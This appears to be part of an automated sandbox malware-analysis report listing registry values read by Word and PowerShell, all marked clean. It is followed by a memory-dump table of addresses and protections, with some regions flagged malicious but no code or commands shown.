C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F67B8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F67B8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
160000
unkown
page execute and read and write
 malicious
180000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
321000
unkown
page execute read
 malicious
201000
unkown
page execute read
 malicious
211000
unkown
page execute read
 malicious
170000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
201000
unkown
page execute read
 malicious
241000
unkown
page execute read
 malicious
321000
unkown
page execute read
 malicious
280000
unkown
page execute and read and write
 malicious
211000
unkown
page execute read
 malicious
120000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
1A1000
unkown
page execute read
 malicious
1D1000
unkown
page execute read
 malicious
220000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
221000
unkown
page execute read
 malicious
2E1000
unkown
page execute read
 malicious
1B0000
unkown
page execute and read and write
 malicious
1B1000
unkown
page execute read
 malicious
1F0000
unkown
page execute and read and write
 malicious
15B000
unkown
page read and write
 clean
1F6000
unkown
page read and write
 clean
2CC0000
unkown
page readonly
 clean
364000
heap default
page read and write
 clean
1E0000
unkown
page readonly
 clean
6E7000
heap default
page read and write
 clean
36C2000
unkown
page read and write
 clean
3F0000
unkown
page readonly
 clean
3723000
unkown
page read and write
 clean
200000
unkown
page read and write
 clean
290C000
unkown
page read and write
 clean
311C000
unkown
page read and write
 clean
274B000
unkown
page readonly
 clean
21B000
stack
page read and write
 clean
10000000
unkown image
page readonly
 clean
234E000
stack
page read and write
 clean
210000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2F37000
unkown
page read and write
 clean
930000
unkown
page readonly
 clean
3190000
unkown
page write copy
 clean
2C0000
unkown
page readonly
 clean
23DD000
unkown
page read and write
 clean
3651000
unkown
page read and write
 clean
4F0000
unkown
page readonly
 clean
230000
unkown
page readonly
 clean
21B000
unkown
page read and write
 clean
331000
heap private
page read and write
 clean
24B0000
heap private
page read and write
 clean
54C000
unkown
page read and write
 clean
374000
heap private
page read and write
 clean
350000
unkown
page read and write
 clean
180000
unkown
page readonly
 clean
1C40000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
3250000
unkown
page read and write
 clean
1E9B000
heap private
page read and write
 clean
83E000
stack
page read and write
 clean
203000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
1F40000
heap private
page execute and read and write
 clean
314E000
unkown
page read and write
 clean
302A000
unkown
page read and write
 clean
2BCE000
stack
page read and write
 clean
670000
heap default
page read and write
 clean
2C2E000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2F5B000
unkown
page read and write
 clean
29F7000
heap private
page read and write
 clean
1004D000
unkown image
page read and write
 clean
319E000
unkown
page read and write
 clean
3D5000
heap default
page read and write
 clean
7FF001B0000
unkown
page execute and read and write
 clean
29BA000
unkown
page read and write
 clean
7FF00180000
unkown
page execute and read and write
 clean
1B3D0000
unkown
page read and write
 clean
11C000
unkown
page read and write
 clean
32DE000
stack
page read and write
 clean
2500000
heap private
page read and write
 clean
532000
unkown
page read and write
 clean
430000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
93E000
stack
page read and write
 clean
2550000
unkown
page readonly
 clean
2290000
unkown
page readonly
 clean
320000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
25BE000
stack
page read and write
 clean
30C0000
unkown
page read and write
 clean
59F000
heap default
page read and write
 clean
2200000
unkown
page read and write
 clean
2197000
unkown
page readonly
 clean
21C000
unkown
page read and write
 clean
3008000
unkown
page read and write
 clean
7B4000
heap private
page read and write
 clean
1D0000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
25C000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
30B0000
unkown
page read and write
 clean
62E000
heap default
page read and write
 clean
2680000
unkown
page read and write
 clean
2B16000
unkown
page read and write
 clean
2540000
heap private
page read and write
 clean
490000
unkown
page readonly
 clean
2C70000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
252C000
unkown
page read and write
 clean
1C2D000
unkown
page read and write
 clean
8D0000
unkown
page read and write
 clean
3048000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
600000
unkown
page readonly
 clean
33C000
unkown
page read and write
 clean
9BF000
stack
page read and write
 clean
287E000
unkown
page read and write
 clean
2F41000
unkown
page read and write
 clean
1B60000
unkown
page readonly
 clean
318E000
unkown
page read and write
 clean
